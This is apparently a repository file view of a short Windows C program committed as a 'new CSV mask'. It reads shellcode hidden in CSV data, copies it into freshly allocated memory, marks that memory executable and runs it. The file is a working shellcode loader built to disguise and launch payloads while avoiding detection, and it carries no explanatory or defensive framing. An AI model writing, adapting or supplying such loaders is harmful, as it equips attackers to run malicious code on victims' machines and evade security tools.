Files
Michael Ranaldo 3820ecba67 Added new CSV mask
2021-12-02 19:09:29 +00:00

27 lines
517 B
C

#include <windows.h>
#include "csv.h"
int main()
{
struct csvdata* d = GetShellcodeFromCSV();
unsigned char* buf = d->shellcode;
int bufSz = d->size;
if(bufSz == 0)
{
return 1;
}
DWORD lpflOldProtect = 0;
LPVOID pAddress = VirtualAlloc(NULL, bufSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(pAddress, buf, bufSz);
VirtualProtect(pAddress, bufSz, PAGE_EXECUTE_READ, &lpflOldProtect);
int (*go)() = (int(*)())pAddress;
go();
return 0;
}